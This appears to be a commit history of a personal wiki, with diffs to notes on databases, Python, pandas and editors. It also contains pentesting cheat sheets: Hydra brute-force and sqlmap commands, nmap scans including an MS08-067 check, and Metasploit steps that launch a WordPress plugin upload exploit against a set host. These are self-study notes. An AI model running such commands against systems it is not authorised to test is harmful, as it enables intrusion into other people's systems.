+A database is an organized collection of data, stored and accessed electronically.
updated databases/postgres.md
Show More Show Less

 # Postgres
 
+Postgres is an object-relational database management system with an emphasis on extensibility and standards compliance.
+
 ## Links
 
 -   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
updated pentesting/README.md
Show More Show Less

 # Pentesting
 
+Pentesting is an authorized simulated attack on a computer system, performed to evaluate the security of the system.
+
 ## Links
 
 -   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
updated pentesting/nmap.md
Show More Show Less

 # nmap Cheat Sheet
 
+nmap is used to discover hosts and services on a computer network, thus building a _map_ of the network.
+
+## Cheat Sheet
+
 Ping scans the network, listing machines that respond to ping:
 
 ```bash
updated programming/python/celery.md
Show More Show Less

 # Celery
 
-pandas is a [Python](README.md) library for asynchronous task queue or job queue which is based on distributed message passing.
+Celery is a [Python](README.md) library for asynchronous task queue or job queue which is based on distributed message passing.
 
 ## Links
 
Oct, 24 2018

:sparkles: Add some data science libraries I learned about a Python Toronto.

updated programming/python/README.md
Show More Show Less

 -   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
 -   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
 
+### Data Science
+
+-   [datacompy](https://capitalone.github.io/datacompy/) - Pandas and Spark DataFrame comparison for humans - [🐙](https://github.com/capitalone/datacompy "datacompy on GitHub")  [🐍](https://pypi.org/project/datacompy' "datacompy on PyPi")
+-   [locopy](https://capitalone.github.io/Data-Load-and-Copy-using-Python/) - Loading/Unloading to Amazon Redshift - [🐙](https://github.com/capitalone/Data-Load-and-Copy-using-Python "locopy on GitHub") [🐍](https://pypi.org/project/locopy' "locopy on PyPi")
+-   [intake](https://intake.readthedocs.io/en/latest/index.html) - A plugin system for loading your data and making data catalogs - [🐙](https://github.com/ContinuumIO/intake "intake") [🐍](https://pypi.org/project/intake' "intake on PyPi")
+
 ## Links
 
 -   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
Oct, 23 2018

Update SUMMARY.md

updated SUMMARY.md
Show More Show Less

----
-search: false
----
-
 # Table of contents
 
 -   [Introduction](README.md)
Oct, 23 2018

:bug: Fix issues with searching.

updated GLOSSARY.md
Show More Show Less

+---
+search: false
+---
+
 # Glossary
 
 ## Postgres
updated LICENSE.md
Show More Show Less

+---
+search: false
+---
+
 # License
 
 CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER.
updated README.md
Show More Show Less

+---
+search: false
+---
+
 # Myles' Wiki 📚
 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
updated SUMMARY.md
Show More Show Less

+---
+search: false
+---
+
 # Table of contents
 
 -   [Introduction](README.md)
updated android/README.md
Show More Show Less

 # Android
+
+Android is a mobile operating system based on a modified version of the Linux kernel and other open source software and designed primarily for touchscreen mobile devices such as smartphones and tablets.
updated android/fire-os.md
Show More Show Less

 # Fire OS
 
+Fire OS is an [Android](README.md)-based operating system built by Amazon.
+
 ## Links
 
 -   [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/)
updated lists/books.md
Show More Show Less

+---
+search: false
+---
+
 # Books to Read 📖
 
 -   [ ] [It Doesn't Have to Be Crazy at Work](https://basecamp.com/books/calm) by Jason Fried and David Heinemeier Hansson.
updated lists/films.md
Show More Show Less

+---
+search: false
+---
+
 # Film to Watch 📽
 
 -   [ ] Leave No Trace (2018)
updated lists/tv-shows.md
Show More Show Less

+---
+search: false
+---
+
 # TV Shows to Binge 📺
 
 -   [ ] Eli Stone (2008, 2009)
updated meta/README.md
Show More Show Less

+---
+search: false
+---
+
 # Meta
 
 After seeing [Nikita Voloboev](https://nikitavoloboev.xyz/)'s [GitBook](https://wiki.nikitavoloboev.xyz/) and [other people who have public a knowledge repository](https://github.com/RichardLitt/meta-knowledge#repositories) I was inspired to start my own.
added setup/android.md
Show More Show Less
/setup/android.md b/setup/android.md
new file mode 100644
index 0000000..e69de29
updated text-editors/vscode.md
Show More Show Less

 # Visual Studio Code
 
-[Visual Studio Code](https://code.visualstudio.com/) is a text editor.
+Visual Studio Code is a text editor for Linux, Windows, and macOS.
 
 ## Links
 
updated unix/README.md
Show More Show Less

-# Terminal
+# UNIX
 
 ## Applications
 
Oct, 23 2018

:sparkles: Add some dfns.

updated programming/python/README.md
Show More Show Less

 # Python
 
+Python is a programming language.
+
 ## Libraries
 
 -   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
updated programming/python/celery.md
Show More Show Less

 # Celery
 
+pandas is a [Python](README.md) library for asynchronous task queue or job queue which is based on distributed message passing.
+
 ## Links
 
 -   [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
updated programming/python/pandas.md
Show More Show Less

-# Pandas
+# pandas
+
+pandas is a [Python](README.md) library for data manipulation and analysis.
 
 ## Notes
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 
 ### Pandas/SQL Rosetta Stone
 
-#### `IN`
+#### `IN` / `pandas.DataFrame.isin`
+
+```sql
+SELECT * FROM table WHERE city IN ("Toronto", "Richmond Hill");
+```
 
 ```python
 # City is ether Toronto or Richmond Hill:
Oct, 17 2018

Update SUMMARY.md

updated SUMMARY.md
Show More Show Less

         -   [Celery](programming/python/celery.md)
         -   [Pandas](programming/python/pandas.md)
     -   [Static Website Generators](programming/static-websites.md)
+-   [Startup](startup/README.md)
 -   [Text Editors](text-editors/README.md)
     -   [Visual Studio Code](text-editors/vscode.md)
 -   [Lists](lists/README.md)
Oct, 17 2018

Create README.md

added starup/README.md
Show More Show Less

+# Startup
+
+-   [How I’ve Attracted The First 500 Paid Users For My SaaS That Costs $5/mo](https://blog.inkdrop.info/how-ive-attracted-the-first-500-paid-users-for-my-saas-that-costs-5-mo-7a5b94b8e820) by Takuya Matsuyama, 14 October 2018
Oct, 16 2018

Update README.md

updated unix/README.md
Show More Show Less

 ## Applications
 
 -   [terminalizer](https://github.com/faressoft/terminalizer) - Record your terminal and generate animated gif images.
+
+## Links
+
+-   [Practical Use of GRUB's DSL](https://www.gilesorr.com/grubdsl/) by Giles Orr, 15 October 2018 - with the examples inexplicably left out of the GRUB documentation.
Oct, 16 2018

Update SUMMARY.md

updated SUMMARY.md
Show More Show Less

 # Table of contents
 
 -   [Introduction](README.md)
--   [Meta](meta/README.md)
-    -   [License](LICENSE.md)
 -   [Setup](setup/README.md)
 -   [Android](android/README.md)
     -   [Fire OS](android/fire-os.md)

     -   [Films](lists/films.md)
     -   [TV Shows](lists/tv-shows.md)
 -   [UNIX](unix/README.md)
+-   [Meta](meta/README.md)
+    -   [License](LICENSE.md)
Oct, 15 2018

:sparkles: Add a new snippet.

updated programming/python/README.md
Show More Show Less

 ## Libraries
 
 -   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
--   [https://github.com/psolin/cleanco](cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
+-   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
 
 ## Links
 
updated programming/python/pandas.md
Show More Show Less

 
 ## Snippets
 
-### Connect to a SQL Database
+### Connect to a SQLite database
 
 ```python
 import pandas as pd
-import numpy as np
-from sqlalchemy import create_engine
-
-engine = create_engine("postgresql:///database")
+import sqlite
 
-df = pd.read_sql_query("SELECT * FROM table;", con=engine)
+conn = sqlite3.connect("database.sqlite")
+df = pd.read_sql_query("SELECT * FROM table_name;", conn)
 
 df.head()
 ```
 
-#### SQLite
+### Using a SQLAlchemy engine to connect to a database
 
 ```python
 import pandas as pd
-import sqlite
+import numpy as np
+from sqlalchemy import create_engine
 
-conn = sqlite3.connect("database.sqlite")
-df = pd.read_sql_query("SELECT * FROM table_name;", conn)
+engine = create_engine("postgresql:///database")
+
+df = pd.read_sql_query("SELECT * FROM table;", con=engine)
 
 df.head()
 ```
 
-### Python compatible column names with [slugify](https://pypi.python.org/pypi/awesome-slugify)
+### Python compatible column names with slugify
+
+Usually I'm dealing with data from external sources that don't have pretty columns names. I like to use [slugify](https://pypi.python.org/pypi/awesome-slugify) to convert them to Python compatible keys.
 
 ```python
 from slugify import slugify
 
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 ```
+
+### Pandas/SQL Rosetta Stone
+
+#### `IN`
+
+```python
+# City is ether Toronto or Richmond Hill:
+df[df['city'].isin(['Toronto', 'Richmond Hill'])]
+
+# City is not Markdale or Oakville:
+df[~df['city'].isin(['Markdale', 'Oakville'])]
+```
+
+See the pandas documentation for more information on [`pandas.DataFrame.isin`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.isin.html).
updated text-editors/vscode.md
Show More Show Less

 ## Links
 
 -   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
--   [Awesome VS Code](https://github.com/viatsko/awesome-vscode)
\ No newline at end of file
+-   [Awesome VS Code](https://github.com/viatsko/awesome-vscode)
Oct, 15 2018
updated databases/postgres.md
Show More Show Less

 -   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
 -   [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
 -   [PostgreSQL: The Versatile `INSERT`](https://pgdash.io/blog/postgres-insert.html), 26 September 2018
+-   [How to Manage Connections Efficiently in Postgres, or Any Database](https://brandur.org/postgres-connections) by Brandur Leach, 15 October 2018
Oct, 15 2018

Update README.md

updated programming/python/README.md
Show More Show Less

 
 ## Libraries
 
--   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [Announcement](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [GitHub](https://github.com/socialcopsdev/camelot/ "Camelot GitHub Repository") [PyPi](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
+-   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
+-   [https://github.com/psolin/cleanco](cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
 
 ## Links
 
Oct, 15 2018

:sparkles: Add a new Python library.

updated programming/python/README.md
Show More Show Less

 # Python
 
+## Libraries
+
+-   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [Announcement](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [GitHub](https://github.com/socialcopsdev/camelot/ "Camelot GitHub Repository") [PyPi](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
+
 ## Links
 
 -   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
Oct, 10 2018

:construction: Did some stuff.

updated comp-sci/ai.md
Show More Show Less

 ## Links
 
 -   [Why can a Machine Beat Mario but not Pokemon?](https://towardsdatascience.com/why-can-a-machine-beat-mario-but-not-pokemon-ff61313187e1)
+-   [Using machine learning to index text from billions of images](https://blogs.dropbox.com/tech/2018/10/using-machine-learning-to-index-text-from-billions-of-images/)
updated databases/postgres.md
Show More Show Less

 
 -   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
 -   [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
+-   [PostgreSQL: The Versatile `INSERT`](https://pgdash.io/blog/postgres-insert.html), 26 September 2018
updated programming/methodology.md
Show More Show Less

 
 ## Links
 
--   [How to deliver on machine learning projects](https://blog.insightdatascience.com/how-to-deliver-on-machine-learning-projects-c8d82ce642b0)
\ No newline at end of file
+-   [How to deliver on machine learning projects](https://blog.insightdatascience.com/how-to-deliver-on-machine-learning-projects-c8d82ce642b0)
Oct, 09 2018
updated programming/static-websites.md
Show More Show Less

 # Static Website Generators
 
 I keep a list of [Static Website Generators on GitHub](https://github.com/myles/awesome-static-generators/blob/master/README.md).
+
+## Links
+
+-   [Scheduling Jekyll posts with Netlify and AWS](https://humanwhocodes.com/blog/2018/03/scheduling-jekyll-posts-netlify/) by Nicholas C. Zakas.
Oct, 08 2018
updated text-editors/vscode.md
Show More Show Less

 ## Links
 
 -   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
+-   [Awesome VS Code](https://github.com/viatsko/awesome-vscode)
\ No newline at end of file
Oct, 08 2018

Merge branch 'master' of git@github.com:myles/wiki.git

updated .bookignore
Show More Show Less

+.bookignore
+.gitignore
+.remarkrc
 .travis.yml
 netlify.toml
 package-lock.json
 package.json
+renovate.json
added .remarkrc
Show More Show Less

+{
+  "plugins": [
+    "preset-lint-recommended",
+    "validate-links"
+  ]
+}
updated .travis.yml
Show More Show Less

 language: node_js
-script: npm run-script lint
-
+node_js: "4"
+script: npm run-script build
+after_success: npm run-script lint
added LICENSE.md
Show More Show Less

+# License
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED HEREUNDER.
+
+## Statement of Purpose
+
+The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights (defined below) upon the creator and subsequent owner(s) (each and all, an "owner") of an original work of authorship and/or a database (each, a "Work").
+
+Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works ("Commons") that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others.
+
+For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights.
+
+1.  **Copyright and Related Rights.** A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following:
+
+    i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work;
+
+    ii. moral rights retained by the original author(s) and/or performer(s);
+
+    iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work;
+
+    iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4(a), below;
+
+    v. rights protecting the extraction, dissemination, use and reuse of data in a Work;
+
+    vi. database rights (such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive); and
+
+    vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof.
+
+2.  **Waiver.** To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and causes of action, whether now known or unknown (including existing as well as future claims and causes of action), in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes the Waiver for the benefit of each member of the public at large and to the detriment of Affirmer's heirs and successors, fully intending that such Waiver shall not be subject to revocation, rescission, cancellation, termination, or any other legal or equitable action to disrupt the quiet enjoyment of the Work by the public as contemplated by Affirmer's express Statement of Purpose.
+3.  **Public License Fallback.** Should any part of the Waiver for any reason be judged legally invalid or ineffective under applicable law, then the Waiver shall be preserved to the maximum extent permitted taking into account Affirmer's express Statement of Purpose. In addition, to the extent the Waiver is so judged Affirmer hereby grants to each affected person a royalty-free, non transferable, non sublicensable, non exclusive, irrevocable and unconditional license to exercise Affirmer's Copyright and Related Rights in the Work (i) in all territories worldwide, (ii) for the maximum duration provided by applicable law or treaty (including future time extensions), (iii) in any current or future medium and for any number of copies, and (iv) for any purpose whatsoever, including without limitation commercial, advertising or promotional purposes (the "License"). The License shall be deemed effective as of the date CC0 was applied by Affirmer to the Work. Should any part of the License for any reason be judged legally invalid or ineffective under applicable law, such partial invalidity or ineffectiveness shall not invalidate the remainder of the License, and in such case Affirmer hereby affirms that he or she will not (i) exercise any of his or her remaining Copyright and Related Rights in the Work or (ii) assert any associated claims and causes of action with respect to the Work, in either case contrary to Affirmer's express Statement of Purpose.
+4.  **Limitations and Disclaimers.**
+
+    a. No trademark or patent rights held by Affirmer are waived, abandoned, surrendered, licensed or otherwise affected by this document.
+
+    b. Affirmer offers the Work as-is and makes no representations or warranties of any kind concerning the Work, express, implied, statutory or otherwise, including without limitation warranties of title, merchantability, fitness for a particular purpose, non infringement, or the absence of latent or other defects, accuracy, or the present or absence of errors, whether or not discoverable, all to the greatest extent permissible under applicable law.
+
+    c. Affirmer disclaims responsibility for clearing rights of other persons that may apply to the Work or any use thereof, including without limitation any person's Copyright and Related Rights in the Work. Further, Affirmer disclaims responsibility for obtaining any necessary consents, permissions or other rights required for any use of the Work.
+
+    d. Affirmer understands and acknowledges that Creative Commons is not a party to this document and has no duty or obligation with respect to this CC0 or use of the Work.
updated README.md
Show More Show Less

 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
----
+* * *
 
 [![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/meta/license.html "Creative Commons Attribution 4.0 International License")
 This work is licensed under a [Creative Commons Attribution 4.0 International License](http://creativecommons.org/licenses/by/4.0/).
updated SUMMARY.md
Show More Show Less

 # Table of contents
 
-* [Myles' Wiki 📚](README.md)
-* [Meta](meta/README.md)
-  * [License](meta/license.md)
-* [Setup](setup.md)
-* [Android](android/README.md)
-  * [Fire OS](android/fire-os.md)
-* [Databases](databases/README.md)
-  * [Postgres](databases/postgres.md)
-* [Pentesting](pentesting/README.md)
-  * [nmap Cheat Sheet](pentesting/nmap.md)
-  * [WordPress](pentesting/wordpress.md)
-* [Programming](programming/README.md)
-  * [CSS](programming/css.md)
-  * [Python](programming/python/README.md)
-    * [Celery](programming/python/celery.md)
-    * [Pandas](programming/python/pandas.md)
-  * [Static Website Generators](programming/static-websites.md)
-* [Text Editors](text-editors/README.md)
-  * [Visual Studio Code](text-editors/vscode.md)
-
+-   [Introduction](README.md)
+-   [Meta](meta/README.md)
+    -   [License](LICENSE.md)
+-   [Setup](setup/README.md)
+-   [Android](android/README.md)
+    -   [Fire OS](android/fire-os.md)
+-   [Computer Science](comp-sci/README.md)
+    -   [AI](comp-sci/ai.md)
+-   [Databases](databases/README.md)
+    -   [Postgres](databases/postgres.md)
+-   [Pentesting](pentesting/README.md)
+    -   [nmap Cheat Sheet](pentesting/nmap.md)
+    -   [WordPress](pentesting/wordpress.md)
+-   [Programming](programming/README.md)
+    -   [CSS](programming/css.md)
+    -   [Go](programming/go.md)
+    -   [Python](programming/python/README.md)
+        -   [Celery](programming/python/celery.md)
+        -   [Pandas](programming/python/pandas.md)
+    -   [Static Website Generators](programming/static-websites.md)
+-   [Text Editors](text-editors/README.md)
+    -   [Visual Studio Code](text-editors/vscode.md)
+-   [Lists](lists/README.md)
+    -   [Books](lists/books.md)
+    -   [Films](lists/films.md)
+    -   [TV Shows](lists/tv-shows.md)
+-   [UNIX](unix/README.md)
updated android/fire-os.md
Show More Show Less

 
 ## Links
 
-* [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/)
-
+-   [How to install the Google Play Store on an Android Fire Tablet](https://www.howtogeek.com/232726/how-to-install-the-google-play-store-on-your-amazon-fire-tablet/)
added comp-sci/README.md
Show More Show Less

+# Computer Science
updated databases/postgres.md
Show More Show Less

 
 ## Links
 
-* [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
-* [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
-
+-   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
+-   [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
added lists/books.md
Show More Show Less

+# Books to Read 📖
+
+-   [ ] [It Doesn't Have to Be Crazy at Work](https://basecamp.com/books/calm) by Jason Fried and David Heinemeier Hansson.
updated meta/README.md
Show More Show Less
 After seeing [Nikita Voloboev](https://nikitavoloboev.xyz/)'s [GitBook](https://
 ## How it's Built
 
 This wiki is built using [GitBook](https://github.com/GitbookIO/gitbook) and hosted on [Netlify](https://netlify.com/).
-
deleted meta/license.md
updated netlify.toml
Show More Show Less
 ID = "myles-wiki"
 [build]
   publish = "_book/"
   command = "npm run-script build"
-
updated pentesting/README.md
Show More Show Less

 
 ## Links
 
-* [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
-* [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
-* [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
+-   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
+-   [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
+-   [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
 
 ## Useful Commands
 
 dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt
 
 #### Resources
 
-* [http://tools.kali.org/web-applications/dirb](http://tools.kali.org/web-applications/dirb)
-* [https://github.com/seifreed/dirb](https://github.com/seifreed/dirb)
+-   
+-   
 
 ### gobuster
 
 Directory/file & DNS busting tool written in Go.
 
 #### Resources
 
-* [https://github.com/OJ/gobuster](https://github.com/OJ/gobuster)
+-   
 
 ### Hydra
 
 hydra 192.168.0.104 http-post-form '/imfadministrator/index.php:user=^USER^&pass
 
 #### Resources
 
-* [http://tools.kali.org/password-attacks/hydra/](http://tools.kali.org/password-attacks/hydra/)
-* [https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/](https://www.blackmoreops.com/2015/12/23/crack-passwords-in-kali-linux-with-hydra/)
-* [http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html](http://insidetrust.blogspot.ca/2011/08/using-hydra-to-dictionary-attack-web.html)
+-   
+-   
+-   
 
 ### sqlmap
 
 When having to log into an PHPSESSIONID auth:
 ```text
 sqlmap -u http://192.168.0.104/imfadministrator/cms.php?pagename=upload --banner --cookie="PHPSESSID=m0i2uapvsqlklug2tpe2a8cis2; security=low" -f
 ```
-
updated pentesting/nmap.md
Show More Show Less
 Display Netbios name:
 nmap -sU --script nbstat.nse -p 137 target
 ```
 
-Check if Netbios servers are vulnerable to MS08-067 \(`--script-args=unsafe=1` has the potential to crash servers / services\).
+Check if Netbios servers are vulnerable to MS08-067 (`--script-args=unsafe=1` has the potential to crash servers / services).
 
 ## Nikto Scan
 
 Scans for http/https servers on port 80, 443 and pipes into Nikto for scanning:
 ```bash
 nmap -p80,443 10.0.1.0/24 -oG - | nikto.pl -h -
 ```
-
updated pentesting/wordpress.md
Show More Show Less
 msf > db_nmap -v -sV 192.168.111.xxx
 
 ### Scan an Entire Network
 
-* This will save the results to the metasploit database
+-   This will save the results to the metasploit database
 
 ```bash
 msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1
 ```
 
-* `hosts` will list all the hosts found by `nmap`.
-* `hosts -R` will add them to the list of hosts to exploit.
+-   `hosts` will list all the hosts found by `nmap`.
+-   `hosts -R` will add them to the list of hosts to exploit.
 
 ## Searching for a WordPress Vulnerability
 
 msf > search name:wordpress
 
 ## Use an Exploit
 
-* This will select an exploit to use:
+-   This will select an exploit to use:
 
 ```bash
 msf > use exploit/unix/webapp/wp_wysija_newsletters_upload
 ```
 
-* This will show you the attacks that the exploit will take advantage of:
+-   This will show you the attacks that the exploit will take advantage of:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 
 ![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/67A7D5964C96C63BA11EEA707CB4A604.png)
 
-* This will show what software and version will be targeted:
+-   This will show what software and version will be targeted:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > show targets
 Exploit target:
     0   wysija-newsletters < 2.6.8
 ```
 
-* Here is where we set all the options:
+-   Here is where we set all the options:
 
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > set RHOST 159.203.19.77
 msf exploit(wp_wysija_newsletters_upload) > set VHOST myles.life
 ```bash
 msf exploit(wp_wysija_newsletters_upload) > exploit
 ```
-
updated programming/README.md
Show More Show Less

 # Programming
-
-
-
updated programming/css.md
Show More Show Less

 
 ## Link
 
-* [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
-
+-   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
+-   [sass selectors: to nest or not to nest?](http://bradfrost.com/blog/post/sass-selectors-to-nest-or-not-to-nest/) by Brad Frost
added programming/go.md
Show More Show Less

+# Go
+
+## Books
+
+-   [Writing An Interpreter In Go](https://interpreterbook.com/) by Thorsten Ball
+-   [Writing A Compiler in Go](https://compilerbook.com/) by Thorsten Ball
+
+## Libraries
+
+-   [Ferret](https://github.com/MontFerret/ferret) - `ferret` is a web scraping system aiming to simplify data extraction from the web for such things like UI testing, machine learning, and analytics.
+
+## Links
+
+-   [Building Web Apps with Go!](https://codegangsta.gitbooks.io/building-web-apps-with-go/content/)
updated programming/python/README.md
Show More Show Less

 
 ## Links
 
-* [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
-
+-   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
updated programming/python/celery.md
Show More Show Less

 
 ## Links
 
-* [Three quick tips from two years with Celery](https://medium.com/@taylorhughes/three-quick-tips-from-two-years-with-celery-c05ff9d7f9eb) by **Taylor Hughes**
-
